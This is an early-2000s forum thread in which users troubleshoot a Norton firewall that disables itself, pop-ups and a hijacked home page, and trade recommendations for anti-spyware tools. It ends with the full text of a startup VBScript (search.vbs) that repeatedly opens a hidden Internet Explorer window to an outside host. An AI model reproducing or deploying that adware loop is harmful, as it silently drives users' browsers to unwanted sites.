Norton Personal Firewall

[adrianallen99]

Ive got Norton Personal firewall installed and for some reason it keeps disabling itself (or something else does). I checked for dodgy programs with AVG and ad-aware (both updated) and they show nothing, any ideas??

thanks

Adrian

Oh yeah! I know there is something on my machine, because I keep getting popup's, even when I have not even opened up I.E I get a pop-up.

 

[JonnyT]

Have you stopped the messenger service?

Get yourself some decent Anti-Virus software rather than a free imitation.

JonnyT

 

[rossored]

adrian, AVG has had rather a lot of stick lately for being worse than useless.

try one of the other free ones instead: www.free-av.com - much better reviews lately.

and as Jonny says, visit www.grc.com and get yourself the "shoot the messenger" program.

 

[Volatile]

I've used AVG for a couple of years now and never experienced any problems. Also use WinXP's in built firewall. I installed ZoneAlarm once and it just did my head in all these incoming/outgoing "hacker attacks" etc. I don't believe my computer here can be the target of an attempted hack every minute.

imho everything out there for a fee is overrated. Common sense is the best way of not contracting a virus, just make sure you don't open any dodgy attachments and have some simple virus scanning software to hand. If you do notice any slow downs or odd behaviour you can always switch to another one.

 

[knorrie]

Try the free online virus scans at:

http://www.symantec.com/avcenter/

and (wouldn't hurt to do both of these)

http://housecall.trendmicro.com/

and look for spyware/pests at using the free online version of PestPatrol:

http://www.pestscan.com

You don't have to register for any of these, just look carefully for the small links about scanning without registering.

I also second JonnyT's advice about getting yourself better AV software.

Good luck
KenN

 

[Volatile]

Sorry just noticed that bit about popups,

sounds like you have some spy/adware installed on your system. I'd do an internet search for adware removers, but be extremely careful and check any product before installing. Loads of the removers out there have spy/adware inside them

I've heard of "ad-aware" - believe this is OK but you might want to do some checks. Has anyone else used this software?

 

[Trader333]

Volatile,

I don't believe my computer here can be the target of an attempted hack every minute.

You are most definitely incorrect as this is very possible. Most of the attempts to access your pc are not malicious but many are which is why Zonealarm rates the security threat from low to high. You can also turn off the alerts so that you dont see them.

Hackers use a scanning program that looks for unprotected computers on the net and when they find one they are in.


Paul

 

[oatman]

Try these,
http://www.snapfiles.com/get/adaware.html
http://fileforum.betanews.com/detail.php3?fid=1043809773
Fix everthing that Ad-aware finds but only prechecked red in Spybot.
Some viruses are known to attack Norton and Zonealarm.
Sacn here
http://housecall.trendmicro.com/housecall/start_corp.asp
http://www.pandasoftware.com/activescan/com/activescan_principal.htm

 

[oatman]

XP's firewall is almost useless. If you go online without a firewall you'll get Msblast immediately.

 

[Volatile]

Hmm sounds like I need to change my perception of how safe my pc is

 

[eminem]

Volatile, I and a number of others have used Ad-aware and can vouch for its effectiveness. Its not 100% but its pretty good at getting rid of 90%+ spyware.

adrianallen99 you might want to check to see if you have a parasite on your computer, go and have a look at www.doxdesk.com.

 

[adrianallen99]

thanks for your advice, I will check these out

 

[oatman]

As well as Ad-aware and Spybot install Spywareblaster and Spywareguard ( can't get the site at the moment) and WinPatrol. http://www.winpatrol.com/winpatrol.html
There is no conflict.
Keep everything up to date and you're about covered

 

[money123]

hi ppl

my homepage somehow changes to a a web pge/search engine called fast search overnight.
has someone havked into my computer?
ive got zone labs firewall and xp firewall intalled.

ive also got ad aware and spybot seqarch and destroy,,

 

[rossored]

sounds like a web parasite.

try the www.doxdesk.com link

 

[oatman]

Your home page has been hijacked. Sounds like one of the Coolwebsearch. Can't get to the site to check.
Download CWShredder from here and it might fix it.
http://www.soft32.com/download_19014.html

If you install WinPatrol, it will warn you if your home page is being targeted.
http://www.winpatrol.com/winpatrol.html

 

[adrianallen99]

I found this on my PC in my startup directory - search.vbs
perhaps it is to blame for the popups

while 1
wscript.sleep 3600000
set searchwww = createobject("internetexplorer.application")
searchwww.height = 0
searchwww.menubar = 0
searchwww.statusbar = 0
searchwww.toolbar = 0
searchwww.width = 0
searchwww.navigate "http://vbs.searchwww.com/vbs.cgi"
do while searchwww.busy
wscript.sleep 1000
loop
if searchwww.height = 0 and searchwww.width = 0 then
searchwww.quit
else
searchwww.visible = 1
end if
wend